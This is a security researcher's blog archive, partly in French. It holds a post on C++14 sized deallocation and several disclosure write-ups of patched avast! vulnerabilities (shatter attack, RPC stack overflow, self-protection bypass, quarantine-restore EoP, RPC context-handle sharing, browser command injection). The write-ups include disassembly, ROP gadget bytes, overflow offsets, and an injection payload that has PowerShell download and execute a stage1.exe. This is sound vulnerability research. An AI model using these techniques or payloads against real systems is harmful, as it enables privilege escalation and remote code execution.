Tuesday, August 14, 2018

About the C++14 sized delete operator

Alright, I am breaking a 3-year-posting-slumber here. Don't get too excited,  I am probably not going to post regularly but I will try and share some security and/or allocator related thoughts here.

One of the novelties introduced by C++14 was sized delete operators. Taking an extra size_t parameter, those are meant for efficiency purposes, allowing to avoid a potentially costly lookup of the size of a chunk, to quote N3536:
Modern memory allocators often allocate in size categories, and, for space efficiency reasons, do not store the size of the object near the object. Deallocation then requires searching for the size category store that contains the object. This search can be expensive, particularly as the search data structures are often not in memory caches.
And this is indeed the case. While someone can directly call the sized delete operator, it's usually up to the compiler to the heavy lifting, specifying the command line flag -fsized-deallocation; but it is usually enabled for -std=c++14 and above (see gcc c++ dialect options).

So what happens on the allocator side when the sized deallocation function is used? The allocator usually has fast path function that will use the size provided to look up where the chunk will end up (see tc_free_sized for tcmalloc, je_sdallocx for jemalloc). That's great, no size to compute for a given pointer, it's faster.  But it implies that the compiler gets it right all the time (or that a programmer doesn't blindly call the sized operator with a wrong size, or that a malicious user doesn't pass a mismatched pointer to a sized deallocation function), otherwise the deleted chunk ends up in the wrong bin/freelist/*, and when it's later returned to fulfill an allocation, something bad is likely to happen.

My catastrophic thinking self expected this was going to go wrong at some point, but as far as I can tell, there was nothing much in the world of exploitable bugs related to this, except for the early implementation hiccups.

ASan's allocator has an optional check for this, and so does Scudo (an allocator I work on): if the size passed to the deallocation doesn't match the one of the chunk being deallocated, kill things as something is terribly wrong somewhere (but do not trust the size passed in any case - so much for efficiency 😕).

But then a few days ago, it was pointed out that the Intel Compiler was totally messing up the sized deallocation (see the compiled code). The consequences of this are entirely dependent on the allocator being used at runtime, and it looks like for most this could just result in some wasted memory (a large chunk ending up in a smaller bin), but that likely requires some additional digging (TODO(cryptoad) I guess). Anyway, if you compiled anything with ICC 18.0.0 in C++14 mode, update your compiler and recompile your binaries!

The reporter found the issue using Scudo, and it makes me somewhat happy that the check found a meaningful justification. Anyway, if you have examples of a sized deallocation gone wrong, feel free to chime in.

Thursday, August 6, 2015

avast! Shatter Attack EoP

Here is another issue in avast!, in the GUI AvastUI.exe. It allowed arbitrary code execution within the context of that trusted process, and as such EoP, self-protection bypass, etc. Exploit is provided. It was fixed about a year ago by the avast! crew.


Bug type: arbitrary function call
Vector: window message to asw_av_tray_icon_wndclass
Impact: untrusted code execution within the trusted AvastUI.exe process
Verified on: avast! Free AvastUI.exe v9.0.2018.391


It's been a while since I had used a shatter attack for an interesting purpose! Trendy about 10 years ago (according to Wikipedia), they allowed privilege escalation thanks to core components of Windows like with MS02-071. They are mostly extinct due to Windows now restricting the messages sent to more privileged processes, or isolation of services in session 0. An old but very good presentation of the excellent Brett Moore explains them in detail.

But the problem resurfaces when a process attempts to introduce home-made integrity levels, while functioning as the current logged in user (and at the same IL). This new security boundary can be shattered thanks to Windows messages.


Since we are running in the same context as AvastUI.exe, we can pretty much send any window message to its windows. This appears to be something that the developers didn't think about. For example, the window corresponding to the window class asw_av_tray_icon_wndclass accepts quite a bit of user messages. The following piece of code handles the message 0x83fd:

.text:00551BC0 kk_CWndWM83FDh  proc near               ; DATA XREF: .rdata:00677314 o
.text:00551BC0 wParam          = dword ptr  8
.text:00551BC0 lParam          = dword ptr  0Ch
.text:00551BC0                 push    ebp
.text:00551BC1                 mov     ebp, esp
.text:00551BC3                 mov     eax, [ebp+wParam]
.text:00551BC6                 test    eax, eax
.text:00551BC8                 jz      short loc_551BD3
.text:00551BCA                 push    [ebp+lParam]
.text:00551BCD                 call    eax
.text:00551BCF                 pop     ebp
.text:00551BD0                 retn    8
.text:00551BD3 ; ---------------------------------------------------------------------------
.text:00551BD3 loc_551BD3:                             ; CODE XREF: kk_CWndWM83FDh+8 j
.text:00551BD3                 xor     eax, eax
.text:00551BD5                 pop     ebp
.text:00551BD6                 retn    8
.text:00551BD6 kk_CWndWM83FDh  endp

As you can see, this handler will interpret wParam as a function pointer and lParam as its first and only argument and call it. This obviously becomes an issue when the message is sent by a 3rd party application as it pretty much guarantees code execution within the AvastUI.exe process.

This call primitive is ideal to execute a function like LoadLibrary. We have to make the first parameter point to a string locating the DLL on the drive. Given that we are local, and that Windows doesn't do per-process randomization of DLLs, we already know the address of LoadLibraryA.

But one has to be a bit imaginative to know how to place the string into the AvastUI.exe process memory at a known location. One of the solutions that I found (that restricts the path to the DLL to *44* bytes), is to use a functionality that would put memory under our control at a known offset into
the .data section of AvastUI.exe. This requires some interaction with the named pipe \\.\pipe\snx_sdesktop_pipe. The process AvastUI.exe creates 10 of those, and reads from them in the following code:

.text:0054E159                 mov     ecx, [ebp+var_30]
.text:0054E15C                 push    0               ; lpOverlapped
.text:0054E15E                 shl     ecx, 4
.text:0054E161                 add     ecx, [ebp+var_30]
.text:0054E164                 lea     eax, [ebp+var_8]
.text:0054E167                 push    eax             ; lpNumberOfBytesRead
.text:0054E168                 push    44              ; nNumberOfBytesToRead
.text:0054E16A                 lea     eax, (g_NamedPipeStructures+4)[ecx*4]
.text:0054E171                 push    eax             ; lpBuffer
.text:0054E172                 push    g_NamedPipeStructures[ecx*4] ; hFile
.text:0054E179                 call    ds:ReadFile

What I called g_NamedPipeStructures is located in the .data section of AvastUI.exe and is an array of 10 structures containing the handle to the pipes followed by a 44 byte array receiving the information read from the pipe.

In order to know where this structure is located in AvastUI.exe, we load the binary within our process and locate the structure thanks to a code signature. If there is no address space collision that would trigger a remapping elsewhere, that address will be the same in the remote process. We then open the 10 named pipes and write the DLL path to them to make sure all the structures will be filled with our data. Then we locate the window, and send it the window message with LoadLibraryA as wParam and the 1st structure address as lParam. This will load the DLL within the AvastUI.exe process.

In my exploit, the DLL in question will spawn a cmd.exe and call the IOCTL to make it trusted. Obviously raising a cmd.exe to trusted doesn't make much sense in a real world exploitation scenario, this is just more of a visual example.

Tuesday, August 4, 2015

avast! TaskEx RPC EoP (and potential RCE)

Here is a new bug, this time in English. Since most of the logic issues have been dealt with, this one will be a memory corruption, with exploit. Once again, it was patched about a year ago by the avast! team.


Bug type: stack overflow
Vector: LPC (or RPC if the ncacn_ip_tcp Chest endpoint is enabled)
Impact: EoP (or unauthenticated RCE)
Verified on: avast! Free ashTaskEx.dll v9.0.2018.391


The ashTaskEx.dll implements an RPC interface that is bound to a local ncalrpc endpoint, this interface being 908d4c23-138f-4ac5-af4a-08584ae7c67b v1.0. Most of the functions offered by this interface do not enforce any specific checks and are accessible by unprivileged local users. Those functions are processed within the AvastSvc.exe binary, which runs as SYSTEM.

The function with opcode 8 of this interface has the following IDL prototype (note that the function name is mine, not a symbol):

long   kk_RpcStartRescueDiscToolkit (
 [in] handle_t  arg_1,
 [in][ref][string] wchar_t * arg_2,
 [in] long  arg_3,
 [in][ref][string] wchar_t * arg_4,
 [in] long  arg_5

After unmarshalling the RPC request, it ends up calling tskexStartRescueDiscToolkitImpl:

.text:64804575                 mov     [ebp+ms_exc.registration.TryLevel], 0
.text:6480457C                 push    0               ; int
.text:6480457E                 push    eax             ; RPC_arg_5
.text:6480457F                 push    [ebp+RPC_arg_4] ; int
.text:64804582                 push    ebx             ; RPC_arg_3
.text:64804583                 push    [ebp+RPC_arg_2] ; wchar_t *
.text:64804586                 call    tskexStartRescueDiscToolkitImpl

It will compare the first string with a hardcoded GUID:

.text:6480890E                 mov     ebx, [ebp+arg_0]
.text:64808911                 push    esi
.text:64808912                 push    edi
.text:64808913                 push    offset aBf0f4731Dd254a ; "{BF0F4731-DD25-4A94-8E32-F94103856229}"
.text:64808918                 push    ebx             ; wchar_t *
.text:64808919                 mov     [esp+440h+var_42C], eax
.text:6480891D                 call    ds:_wcsicmp

Edit: opcode 7 has the exact same vulnerability, with a different GUID check, and the exploit below is for that function.
If the comparison succeeds, it will process to copying the second string into a stack buffer:

.text:6480894E                 mov     eax, [ebp+arg_8]
.text:64808951                 lea     edx, [esp+438h+var_214]
.text:64808958                 sub     edx, eax
.text:6480895A                 lea     ebx, [ebx+0]
.text:64808960 loc_64808960:                           ; CODE XREF: tskexStartRescueDiscToolkitImpl+7D j
.text:64808960                 movzx   ecx, word ptr [eax]
.text:64808963                 mov     [edx+eax], cx
.text:64808967                 lea     eax, [eax+2]
.text:6480896A                 test    cx, cx
.text:6480896D                 jnz     short loc_64808960

As you can see here, the destination buffer var_214 is located on the stack, and can hold at most 0x210 bytes before reaching the stack cookie. The copy operation looks like a an inlined wcscpy. There is no check on the length of the string prior to copy.

This results in a stack overflow condition, that can be exploited to achieve code execution and EoP to SYSTEM. Note that the /GS cookie check has to be bypassed to achieve this, which requires exploiting the exception handler or disclosing memory.

A heap overflow will also happen in the subfunction called by tskexStartRescueDiscToolkitImpl if the string we sent is too large, but not large enough to reach the end of the stack. It only allocates 0x4e8 bytes for the structure the string is copied in:

.text:64809D68                 push    4E8h            ; unsigned int
.text:64809D6D                 call    ??2@YAPAXIABUnothrow_t@std@@@Z ; operator new(uint,std::nothrow_t const &)

Remote exploitation

While this bug is a default local EoP on avast! Free, if the Chest remote RPC endpoint (ncacn_ip_tcp) is enabled (either in avast! Endpoint Protection or by playing with the .ini files), then this bug becomes an RCE. See the following MSDN entry about this:

"Be Wary of Other RPC Endpoints Running in the Same Process"


Here are some explanations:
  • we exploit a stack overflow in an LPC interface offered by ashTaskEx.dll;
  • this function is protected by a /GS cookie, so the usual route is to go through overwriting the exception handler, which on newer platforms requires to use a handler in a binary not protected by SafeSEH (this assumes that we overflow enough to get a memory access violation prior to the cookie being checked);
  • algo.dll is not SafeSEH protected. algo.dll is shipped with definitions, so I attempted my best to do something decently generic that will locate the latest version of algo.dll by looking up some registry keys and entries in the .INI files;
  • we want the overwritten exception handler to point to a gadget into algo.dll that somewhat restores the stack pointer to somewhere under our control. Luckily the DLL contains quite a lot of add esp,const & retn that will do that (with const in a ~800h-~1000h range);
  • we load algo.dll in our process, and look for that gadget. It is to be noted that given how Windows works, the base address of algo.dll in our process will be the same than in AvastSvc.exe unless we are quite unlucky;
  • at this point, we just have to build a ROP chain that will do something interesting;
  • since we are local, I decided to do something that would LoadLibrary a DLL under my control. To do so, I make one of the registers point to one of the strings sent into the RPC request (the one that didn't overlow) with some basic additions, copy it in some safe place (the .data section of algo.dll), restore a register to LoadLibraryW and trigger a push & call combination that will load the library as SYSTEM;
  • the library just creates a cmd.exe as SYSTEM on WinSta0 (you need to click a dialog to see it but at this point you see that it's won);
DeepScreen might be annoying and block access to the files, so run it without parameters for the first time to just load the DLL in the current process, and once DeepScreen is happy, run it again with 'run' as parameter to trigger the overflow. The irony here is that the overflow can happen within the DeepScreen sandbox, even if the original ends up being blocked!

Some constants that you might need to adjust based on your platform:

FillMemory( pbBuffer, 0x1000, 'A' );

Our overflowing buffer will be 0x1000 bytes. In most cases it's enough to go past the end of the stack and trigger an AV, but sometimes there is another page (or several) after the stack and that size might have to be increased.

*( DWORD_PTR * )( &pbBuffer[0x354] ) = ( DWORD_PTR )0xffffffff;          //SEH
*( DWORD_PTR * )( &pbBuffer[0x358] ) = g_GadgetLocations[0].dwpLocation; //add esp,818 & retn

Here we require that the SEH structure be at 0x354 bytes from the beginning of our overflowing buffer. This is likely specific to Windows 7 SP1 x86 up to date.

*( DWORD_PTR * )( &pbBuffer[0x20c] ) = g_GadgetLocations[1].dwpLocation; // xchg eax,ebp & retn
*( DWORD_PTR * )( &pbBuffer[0x210] ) = g_GadgetLocations[2].dwpLocation; // pop ecx & retn
*( DWORD_PTR * )( &pbBuffer[0x214] ) = ( DWORD_PTR )0xfffffc24; //ecx

Here, we require that esp+0x818 at the time of the exception handling lands at 0x20c from the beginning of our buffer. The other requirement is that our second string is at 0x3dc (-0xfffffc24) bytes from ebp at the time of the exception handling. Those are pretty much the only things that can differ from one platform to another given the same ashTaskEx.dll version.

The gadgets are pretty self explanatory:

    { { 0x81, 0xc4, 0x18, 0x08, 0x00, 0x00, 0xc3 }, 7, 0 }, //add esp,818h & retn
    { { 0x95, 0xc3 }, 2, 0 }, //xchg eax,ebp & retn
    { { 0x59, 0xc3 }, 2, 0 }, //pop ecx & retn
    { { 0x2b, 0xc1, 0x5b, 0xc3 }, 4, 0 }, //sub eax,ecx & pop ebx & retn
    { { 0x96, 0xc3 }, 2, 0 }, //xchg eax,esi & retn
    { { 0xb8, 0x90, 0x00, 0x00, 0x00, 0xc3 }, 6, 0 }, //mov eax,90h & retn
    { { 0x5d, 0xc3 }, 2, 0 }, // pop ebp & retn
    { { 0x83, 0xc4, 0x0c, 0x5e, 0x5d, 0x5f, 0x5b, 0x83, 0xc4, 0x08, 0xc2, 0x14, 0x00 }, 13, -8 }, //call _memcpy sequence
    { { 0x58, 0xc3 }, 2, 0 }, //pop eax & retn
    { { 0x55, 0xff, 0xd0, 0x0f, 0xb6, 0xc0 }, 6, 0 }, //push ebp & call eax & movzx eax,al & ...

We restore eax from ebp, restore ecx from the stack, subtract ecx from eax, withsome trash ending up in ebx. Then we set eax, esi and ebp so that we can call a memcpy gadget that copies our string into the .data section of the algo.dllbinary. We then call LoadLibraryW on our DLL, and ExitProcess gracefully.

Here the main exploit file, it's the only interesting one anyway:

Monday, August 3, 2015

avast! Contournement de la protection personnelle

Voici un autre probleme de logique, cette fois-ci au niveau noyau. Il a ete corrige l'annee derniere dans les version vulnerables d'avast!.


Type de vulnerabilite: probleme de logique
Vecteur: IOCTL a \\.\aswSP_Open
Impact: contournement de la protection personnelle (rendre un processus "de confiance")
Verifie sur: avast! Free aswSP.sys v9.0.2018.391


La protection personnelle d'avast! (self-protection en Anglais) permet au programme de se proteger de programmes malicieux. Elle est implemente dans le module noyau aswSP.sys et utilise un concept de niveau de confiance pour les processus executes sur le systeme. aswSP.sys offre une variete de peripheriques et IOCTLs associes, mais une grande partie d'entre eux requiert des privileges administratifs, ou d'etre appele depuis un processus de confiance. Cependant, certain d'entre eux sont accessibles par des utilisateurs non privilegies, notamment au travers de \\.\aswSP_Open.

Par example, pour savoir si la protection personnelle est activee, on peut interroger l'IOCTL 0xb2d60190, et pour savoir si un processus est de confiance, 0xb2d600cc. Les processus de confiance executes par defaut sont System, AvastSvc.exe, AvastUI.exe et afwServ.exe sur les versions ayant le parefeu. Cela est illustre par le script Python suivant:

Un processus de confiance peut modifier le niveau de confiance d'un autre processus. Un IOCTL (0xb2d60198) permet a un processus de devenir de confiance, mais son fonctionnement est quelque peu alambique. Cet IOCTL prend pour parametre en entree un buffer de 0x19 octets qui contient, entre autres, deux pointeurs de fonction en mode utilisateur (Ring 3). Le code de l'IOCTL va determiner dans quel module se situent ces deux pointeurs, et verifier sa signature. Il ne s'agit pas d'une signature de binaire normale de Windows, mais une signature specifique a avast!. Si le binaire n'est pas signe, ou si la signature est invalide, l'appel va echouer. Par contre si tout se passe bien, le pilote noyau va mettre en queue un APC utilisateur qui executera un des pointeurs de fonction. En fonction de ce que va faire cette procedure (modifier les parametres passes), le pilote finira par appeler une fonction qui monte le niveau de confiance du processus dont le PID a ete passe dans le buffer d'entree.

.text:0001981C kk_SetProcessTrustCallback proc near    ; DATA XREF: kk_aswSP_Open_DispatchIoControl+2B7 o
.text:0001981C arg_0           = dword ptr  8
.text:0001981C                 mov     edi, edi
.text:0001981E                 push    ebp
.text:0001981F                 mov     ebp, esp
.text:00019821                 mov     eax, [ebp+arg_0]
.text:00019824                 movzx   ecx, byte ptr [eax+8]
.text:00019828                 push    ecx             ; char
.text:00019829                 push    dword ptr [eax+4] ; PVOID
.text:0001982C                 call    kk_SetProcessTrust0Or2
.text:00019831                 pop     ebp
.text:00019832                 retn    4
.text:00019832 kk_SetProcessTrustCallback endp

Afin de prevenir certains abus possibles, le pilote verifie que le processus appelant l'IOCTL n'est pas en train d'etre debogue:

.text:00019496                 push    ebx             ; ReturnLength
.text:00019497                 push    4               ; ProcessInformationLength
.text:00019499                 lea     eax, [ebp+var_3C]
.text:0001949C                 push    eax             ; ProcessInformation
.text:0001949D                 push    ProcessDebugPort ; ProcessInformationClass
.text:0001949F                 push    0FFFFFFFFh      ; ProcessHandle
.text:000194A1                 call    ds:NtQueryInformationProcess

Un des scenarios qui semble-t-il n'a pas ete pris en compte par les developpeurs d'avast! est la possibilite de lancer un binaire avast! signe en mode suspendu, puis d'y injecter une tache. Bien evidemment cela necessite que vous fournissions des pointeurs de fonctions pour le buffer d'entree de l'IOCTL au sein du binaire en question, et que ces pointeurs soient suffisamment interesssants pour qu'on finisse par executer du code sous notre controle. On peut par exemple utiliser un trampoline qui  lit un pointeur de fonction depuis la section .data du binaire et l'execute:

.text:005E0BCD                 mov     eax, dword_7114F8
.text:005E0BD2                 test    eax, eax
.text:005E0BD4                 jz      short loc_5E0BE4
.text:005E0BD6                 lea     ecx, [ebp+var_30]
.text:005E0BD9                 push    ecx
.text:005E0BDA                 push    3
.text:005E0BDC                 call    eax ; dword_7114F8

Ce gadget se trouve dans AvastUI.exe, un binaire signe par avast!

Afin de transformer notre code en code de confiance, il nous suffit de suivre les etapes suivantes:

  • creer AvastUI.exe (ou un autre binaire signe contenant un gadget acceptable) en mode suspendu
  • injecter une tache (en fait j'ai ecrit une DLL pour ca) qui va:
    • trouver le gadget dans le binaire (ici 005E0BCD)
    • ecrire le pointeur de fonction que nous voulons executer (ici a dword_7114F8)
    • appeler l'IOCTL 0xb2d60198 en contruisant correctement le buffer d'entree

Ainsi les verifications faites par le pilote vont reussir, et notre fonction va etre executee via un APC utilisateur. Maintenant pour que le pilote change le niveau de confiance du processus, il faute que cette fonction modifie un parametre de la facon suivant:

__declspec( naked ) DWORD UserModeAPCFunction( )
        //int 3
        mov eax, dword ptr [esp + 10h]
        test eax,eax
        jz skip
        mov dword ptr [eax], 41414141h
        xor eax,eax
        add esp, 0Ch

A partir d'ici, notre code est de confiance, et on peut faire ce que l'on veut avec l'antivirus (EoP, desactivation, etc).

Voici le code de la DLL a injecter:

Thursday, July 30, 2015

avast! Cache a Virus RPC EoP (et RCE potentiel dans certaines versions)

Un autre probleme corrige dans avast! il y a un peu plus d'un an. Et encore une fois, une vulnerabilite qui ne necessite pas de corruption memoire. Comme le dit le dicton, les corruptions memoire, c'est pour plus tard.


Type de vulnerabilite: probleme de logique
Vecteur: appel LPC (ou RPC) a c6c94c23-538f-4ac5-b34a-00e76ae7c67a v1.0
Impact: EoP a SYSTEM, ou RCE potentiel dans les versions entreprises d'avast!
Verifie sur: avast! Free ashServ.dll v9.quelquechose


La cache a virus d'avast! est controlee par une interface RPC implementee dans ashServ.dll, cette interface etant c6c94c23-538f-4ac5-b34a-00e76ae7c67a v1.0. Par default, cette interface n'ecoute que sur un point de terminaison local (ncalrpc), mais dans certaines configurations du logiciel - notamment les versions entreprises - elle peut aussi ecouter sur un port TCP (ncacn_ip_tcp). Aucune de ces deux interfaces ne requerait d'authentification, mais certaines fonctions necessitaient un mot de passe sous forme de chaine de characteres dans les donnees RPC (verifie via MD5). Sur une connexion locale (ou si l'option de configuration de la cache "CheckPassword" est desactivee), le mot de passe n'etait pas verifie.

.text:6512BC91                 call    ds:RpcStringBindingParseW
.text:6512BC97                 test    eax, eax
.text:6512BC99                 jnz     loc_6512BD24
.text:6512BC9F                 push    offset aNcalrpc ; "ncalrpc"
.text:6512BCA4                 push    [ebp+Protseq]   ; wchar_t *
.text:6512BCA7                 call    ds:_wcsicmp
.text:6512BCAD                 add     esp, 8
.text:6512BCB0                 test    eax, eax
.text:6512BCB2                 jz      short AUTH_SUCCESS
.text:6512BCB4                 push    1
.text:6512BCB6                 push    offset aCheckpassword ; "CheckPassword"
.text:6512BCBB                 push    offset aChest   ; "Chest"
.text:6512BCC0                 call    ds:aswGetAvastPropertyInt
.text:6512BCC6                 add     esp, 0Ch
.text:6512BCC9                 test    eax, eax
.text:6512BCCB                 jz      short AUTH_SUCCESS

Le problem reside dans la fonction RestoreFile offerte par l'interface RPC. Une fois appelee pour un identifiant de fichier donne, la fonction de restauration va utiliser les proprietes OrigFolder et OrigFileName associees a ce fichier et restaurer aveuglement le fichier a l'emplacement specifie en tant que SYSTEM, et ce quelque soit le niveau de privilege de l'appelant.

.text:6512BA84                 push    104h
.text:6512BA89                 lea     eax, [ebp+var_834]
.text:6512BA8F                 push    eax
.text:6512BA90                 push    offset aOrigfolder ; "OrigFolder"
.text:6512BA95                 mov     ecx, esi
.text:6512BA97                 call    edi ; IaswObject::GetValue(wchar_t const *,wchar_t *,ulong,wchar_t const *) ; IaswObject::GetValue(wchar_t const *,wchar_t *,ulong,wchar_t const *)
.text:6512BA99                 push    offset word_65136530
.text:6512BA9E                 push    104h
.text:6512BAA3                 lea     eax, [ebp+var_424]
.text:6512BAA9                 push    eax
.text:6512BAAA                 push    offset aOrigfilename ; "OrigFileName"
.text:6512BAAF                 mov     ecx, esi
.text:6512BAB1                 call    edi ; IaswObject::GetValue(wchar_t const *,wchar_t *,ulong,wchar_t const *) ; IaswObject::GetValue(wchar_t const *,wchar_t *,ulong,wchar_t const *)
.text:6512BAB3                 lea     eax, [ebp+var_424]
.text:6512BAB9                 push    eax
.text:6512BABA                 lea     eax, [ebp+var_834]
.text:6512BAC0                 push    eax
.text:6512BAC1                 push    offset aSS_0    ; "%s\\%s"
.text:6512BAC6                 lea     eax, [ebp+var_21C]
.text:6512BACC                 push    104h            ; size_t
.text:6512BAD1                 push    eax             ; wchar_t *
.text:6512BAD2                 call    ds:_snwprintf

Pour elever ses privileges, un utilisateur local (ou distant) peut appeler la fonction RPC de la cache AddFile en specifiant les proprietes OrigFolder et OrigFileName comme etant celles d'un fichier qu'il veut ecraser (ou creer), et puis appeler la fonction RestoreFile. De cette facon, il peut ecraser tout binaire SYSTEM, ou creer un fichier MOF a-la-Stuxnet pour execute du code en tant que SYSTEM.

Pour avast! Free, c'est seulement un EoP, mais pour avast! Endpoint Protection, si le RPC de la cache est configure pour ecouter sur un port TCP (16108 par default), cela pourrait se transformer en RCE, le probleme etant que la fonction RestoreFile verifiait le mot de passe.

Notez que la fonction AddFile permet de specifier le contenu du fichier, modulo un "chiffrement" de type XOR avec une cle enorme. Le code suivant utilise impacket pour effecture la requete RPC (j'ai du enlever la cle parceque sinon pastebin part en vrille):

Tuesday, July 28, 2015

avast! Partage d'interface RPC EoP

Depuis tout petit, j'ai toujours voulu tirer avantage du partage des poignees de contextes RPC dans un processus Windows. En effet, par defaut les context_handle sont partages pour toutes les interfaces RPC au sein d'un meme processus: un client peut creer un contexte sur une interface, et passer ce meme contexte a une autre interface (sauf attribut specifique dans la definition de l'interface: Strict and Type Strict Context Handles). Cependant, je n'ai jamais eu l'occasion d'exploiter une vulnerabilite se fondant sur ce predicat, car generalement quelque chose va de travers au moment de l'utilisation de la structure associee au contexte.

Mais grace a avast!, j'ai finalement pu realiser ce reve d'enfance (ou du moins d'il y a une dizaine d'annees). Comme pour l'entree precedente, la vulnerabilite a ete corrigee il y a un an.

Enfin, desole pour les traductions approximatives (handle=poignee?), j'ai arrete de lire les bulletins du CERT-A il y a longtemps! (et je ne me relis pas edit: @n_joly et @0xeb m'envoient les erreurs, et je corrige :()


Type de vulnerabilite: partage de contexte RPC
Vecteur: appel LPC a eb915940-6276-11d2-b8e7-006097c59f07 v4.0
Impact: EoP a SYSTEM, contournement de la self-defense
Verifie sur: avast! Free aavm4h.dll v9.0.2018.391


aavm4h.dll implemente quelques interfaces RPC qui sont hebergees dans le processus AvastSvc.exe. La plus interessante est eb915940-6276-11d2-b8e7-006097c59f07 v4.0, qui offre des fonctions qui effectuent des taches sensibles. Cependant ces fonctions requierent un context_handle afin de s'executer correctement. Ce context_handle peut etre demande par un client via la fonction RPC 0 de l'interface, si le client est "sur" (via un appel a secIsProcessTrusted qui met en jeu un mechanisme implemente par des drivers d'avast! et des signatures d'executables specifiques). Par defaut, si la self-defense est active, un processus n'est pas considere sur, et aucune des fonctions ne peut etre atteinte.

C'est ici qu'intervient le partage de poignees de contextes RPC. Par defaut sous Windows, toutes les interfaces RPC dans un meme processus partagent les points de terminaison, mais aussi les poignees de contexte. Pour eviter ce partage, un attribut strict_context_handle doit etre utilise, comme explique plus haut.

Cela se revele interessant puisque AvastSvc.exe heberge d'autres interfaces qui donnent des context_handle a des utilisateurs non privilegies. Par exemple dbe95f8e-2be7-4b70-96f3-369be27fa432 v1.0, offert par aswPatchMgmt.dll ne requiert ni privilege specifique, ni processus "sur" pour accorder une poignee de contexte.

Pour exploiter cette vulnerabilite, on va appeler la fonction 6 de dbe95f8e-2be7-4b70-96f3-369be27fa432, qui nous donne un context_handle, et utiliser ce context_handle pour appeler une fonction de eb915940-6276-11d2-b8e7-006097c59f07. Quelle fonction choisir? Parmi les fonctions interessantes: AavmDisableSelfDefense, ou la fonction 0x4a qui appelle CreateProcess. Mais cette fonction ne nous permet pas de fournir la ligne de commande complete de l'executable a creer. Elle offre seulement un choix de 5 executables d'avast!. La bonne nouvelle c'est que AvastEmUpdate.exe (choix numero 2) accepte un argument /applydll qui nous permet de specifier le chemin complet d'une bibliotheque qui sera chargee dans le processus, lui meme execute en tant que SYSTEM.

Ce qui nous donne les memes privileges:

Au passage je ne saurai trop recommender RpcView pour fouiller dans ce bazarre d'interfaces RPC & LPC. Malheureusement mIDA de Nicolas Pouvesle est toujours indispensable pour jouer avec les squelettes RPC en ligne (inline stub), et c'est pas faute de m'etre plaint :).

Au final, je vais vous epargner les copier-coller des interfaces IDL et me contenter du fichier C principal:

The avast! Series

I spent some time quite a while ago looking into avast! and, after about a year, I am going to post about the issues that were found, and fixed back then. The whole project was pretty fun, avast! offers a lot of functionalities and as such a ton of components to look into. Identifying the security boundaries and attack surface required a decent understanding of the product: services, opened ports, LPC or RPC interfaces, kernel drivers and their IO controls or filters, browser components, various parsers, "self-defense", etc.

A decent number of issues were found, and Igor and the avast! bug bounty team fixed them promptly, and extensively - I think they did a great job at not concentrating on the specific issues submitted but thinking about the bigger picture, variants and remediation.

I will start with one of the juicier ones, as it allowed RCE from a browser.

avast! Client-Side Remote Code Execution


Bug type: command injection
Vector: Javascript from browser
Impact: remote code execution within the SafeZone
Verified on: avast! Free AvastUI.exe v9.0.2018.397


avast! offers a SafeZone functionality that creates a separate desktop, and runs processes in a sandboxed environment on this desktop. This SafeZone component comes with a SafeZone Browser that basically is Google Chrome. The SafeZone component is not available in the Free version of avast!, as the browser is not installed, and the UI interface doesn't allow to switch to the SafeZone. Yet, the core functionalities of the SafeZone are present and the SafeZone can be launched, through LPC, the local HTTP Daemon, or browser addons.

There are two issues that can be leveraged to achieve code execution, both of them resulting from an injection in the command line of the SafeZone browser. In order to demonstrate the issue, we will use the avastBHO.SwitchToSafezone API in Javascript for the IE BHO. This is accessible when the extension is enabled (default), and for all websites except a few local exceptions.

Let's start with the Free version of avast!. In this version, the SafeZone browser is not installed, so when trying to switch to the SafeZone, Windows will attempt to parse the command line to find the binary. Here is the output of ProcessMonitor illustrating this:

As you can see, this becomes an issue because each component of the command line will end up being considered a directory at some point. It is trivial to go up in the tree using the usual ..\ sequence:


This will execute directly a cmd.exe in the SafeZone in avast! Free. Now, in order to download and execute something extra, we just need to couple that with a bit of PowerShell (for Windows 7+):

avastBHO.SwitchToSafezone('\\..\\..\\..\\..\\..\\..\\Windows\\system32\\cmd.exe /c "cd %TEMP%&PowerShell (New-Object System.Net.WebClient).DownloadFile(\'\',\'stage1.exe\');(New-Object -com Shell.Application).ShellExecute(\'stage1.exe\');"')

This will download and execute stage1.exe, still in the SafeZone. At this point, we can execute whatever we want, but are still restrained to the sandboxed environment of the SafeZone (file system, registry and privileges).

The avastBHO object can become unreachable after some attempts, and IE has to be relaunched.

Escaping the SafeZone

For the sake of completeness, I wrote up a quick SafeZone escape through Windows messages. Doing a CreateProcess from stage1.exe or equivalent still has us stuck in the SafeZone file system. Since we can switch desktop easily, the provided escape just switches back to the Default desktop, pops-up the Windows Run dialog by sending a WM_HOTKEY message, sets the content of the edit box to the command to execute, and presses OK. It can be a bit racey at times, and could use some Q&A, but it's working often enough.

What about Chrome/Firefox/etc?

Extensions for Chrome and Firefox appear to offer the same SwitchToSafezone functionality but I am actually not sure on how to script them or if they are even accessible. Those extensions merely wrap HTTP requests to the local HttpDaemon running in AvastSvc.exe on port 27275, which uses Google's libprotobuf-lite. A switch to SafeZone can be triggered by issuing command 7 to that server, and this vector is also vulnerable to the command injection.

What about non-free versions of avast!?

Now for avast! Premier and other versions including the browser, we cannot use the ..\ trick as it will not succeed since the binary exists, but we can inject an argument to Chrome. The argument that matters is the --load-extension one, which will attempt to load an extension, and accepts UNC paths, for example you can try:


I haven't pushed the research to writing an actual malicious extension.